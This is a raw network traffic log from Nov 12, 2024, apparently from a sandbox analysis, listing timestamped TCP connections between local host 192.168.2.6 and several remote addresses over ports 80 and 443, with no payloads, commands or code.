Nov 12, 2024 10:37:34.050460100 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.050484896 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.050695896 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.050704956 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.071366072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.071407080 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.071418047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.071432114 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.071468115 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.100862980 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.100953102 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.101023912 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.101036072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.101062059 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.101082087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.101090908 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.101094961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.101114988 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.101140976 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.101186991 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.101198912 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.101233006 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.101581097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.101628065 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.101835012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.101893902 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.101947069 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.101958990 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.101970911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.101983070 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.101984024 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.102003098 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.102032900 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.102175951 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.102190018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.102235079 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.102327108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.102338076 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.102349043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.102361917 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.102372885 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.102375984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.102399111 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.102417946 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.102720022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.102731943 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.102742910 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.102754116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.102762938 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.102767944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.102780104 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.102782011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.102806091 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.102827072 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.103077888 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.103091002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.103101969 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.103113890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.103123903 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.103127003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.103141069 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.103142023 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.103169918 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.103180885 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.103573084 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.103585005 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.103595972 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.103607893 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.103620052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.103620052 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.103631973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.103645086 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.103646994 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.103665113 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.103689909 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.104078054 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.104089975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.104100943 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.104110956 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.104123116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.104127884 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.104135036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.104146004 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.104157925 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.104163885 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.104171038 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.104182959 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.104182959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.104197025 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.104207993 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.104212999 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.104219913 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.104222059 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.104243040 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.104269028 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.104995966 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.105009079 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.105019093 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.105031013 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.105041981 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.105043888 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.105053902 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.105061054 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.105068922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.105081081 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.105091095 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.105092049 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.105104923 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.105104923 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.105117083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.105134964 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.105158091 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.176038027 CET	443	49926	104.46.162.225	192.168.2.6
Nov 12, 2024 10:37:34.177279949 CET	49926	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:34.177294016 CET	443	49926	104.46.162.225	192.168.2.6
Nov 12, 2024 10:37:34.178267956 CET	443	49936	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.178332090 CET	443	49926	104.46.162.225	192.168.2.6
Nov 12, 2024 10:37:34.178385973 CET	49926	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:34.179328918 CET	49926	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:34.179409027 CET	443	49926	104.46.162.225	192.168.2.6
Nov 12, 2024 10:37:34.179543972 CET	49926	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:34.179554939 CET	443	49926	104.46.162.225	192.168.2.6
Nov 12, 2024 10:37:34.179569006 CET	49926	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:34.179584980 CET	443	49926	104.46.162.225	192.168.2.6
Nov 12, 2024 10:37:34.180730104 CET	49936	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.180778027 CET	443	49936	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.181236982 CET	49936	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.181248903 CET	443	49936	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.188318014 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.188329935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.188342094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.188352108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.188370943 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.188410997 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.192065954 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.192089081 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.192104101 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.192123890 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.192142963 CET	49933	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.192154884 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.192164898 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.192176104 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.192187071 CET	49933	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.192214966 CET	49933	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.192222118 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.192243099 CET	49933	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.192257881 CET	49933	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.192265987 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.192332029 CET	49933	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.193216085 CET	49933	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.193229914 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.202960014 CET	443	49937	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.203722954 CET	49937	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.203739882 CET	443	49937	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.204463005 CET	49937	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.204479933 CET	443	49937	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.214453936 CET	443	49935	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.214596033 CET	443	49938	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.214786053 CET	49935	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.214809895 CET	443	49935	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.215128899 CET	49938	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.215147018 CET	443	49938	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.215406895 CET	49935	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.215413094 CET	443	49935	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.215526104 CET	49938	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.215529919 CET	443	49938	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.217839003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.217885017 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.217894077 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.217896938 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.217941999 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.217941999 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.217968941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.217981100 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.217993021 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.218003035 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.218015909 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.218034029 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.218180895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.218193054 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.218228102 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.218664885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.218713045 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.218723059 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.218734980 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.218755960 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.218780041 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.218835115 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.218873024 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.218873978 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.218883991 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.218895912 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.218919039 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.218940020 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.219002008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219013929 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219055891 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.219125032 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219136953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219147921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219162941 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.219171047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219183922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219189882 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.219196081 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219225883 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.219243050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.219377041 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219388008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219398975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219422102 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.219444036 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.219504118 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219516039 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219528913 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219542027 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219549894 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.219573021 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.219602108 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.219764948 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219775915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219786882 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219799042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219811916 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219819069 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.219822884 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219835997 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.219836950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219851017 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.219861984 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.219882965 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.220088005 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220099926 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220156908 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.220227957 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220240116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220251083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220261097 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.220263004 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220273018 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.220290899 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.220432997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220444918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220454931 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220468044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220474958 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.220479965 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220490932 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.220491886 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220523119 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.220540047 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.220841885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220853090 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220863104 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220874071 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220880032 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.220885038 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220896006 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.220899105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220911980 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220920086 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.220922947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220936060 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.220936060 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220952034 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.220958948 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.220983028 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.221363068 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.221374035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.221385002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.221395016 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.221406937 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.221405983 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.221417904 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.221421003 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.221430063 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.221441031 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.221447945 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.221458912 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.221472025 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.221482992 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.221498966 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.221787930 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.221796989 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.221828938 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.221847057 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.233854055 CET	49926	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:34.237476110 CET	443	49939	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.238542080 CET	49939	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.238581896 CET	443	49939	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.239175081 CET	49939	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.239192009 CET	443	49939	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.305286884 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.305341959 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.305345058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.305357933 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.305397987 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.307080984 CET	443	49936	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.307244062 CET	443	49936	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.307301044 CET	49936	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.325335026 CET	49936	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.325376987 CET	443	49936	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.331724882 CET	443	49937	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.331784964 CET	443	49937	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.331831932 CET	443	49937	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.331895113 CET	49937	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.334790945 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.334837914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.334850073 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.334861040 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.334892988 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.334920883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.334933043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.334944963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.334956884 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.334965944 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.334990978 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.335285902 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.335299015 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.335328102 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.335344076 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.335767984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.335815907 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.335828066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.335839987 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.335867882 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.335952044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.335964918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.335975885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.335988998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336007118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.336025953 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.336185932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336196899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336208105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336220980 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336230993 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336231947 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.336241007 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336292028 CET	49834	80	192.168.2.6	185.215.113.206
